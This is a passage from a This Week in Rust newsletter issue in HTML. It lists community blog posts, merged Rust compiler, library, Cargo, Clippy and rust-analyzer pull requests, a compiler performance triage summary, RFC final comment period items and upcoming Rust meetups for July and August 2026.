<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
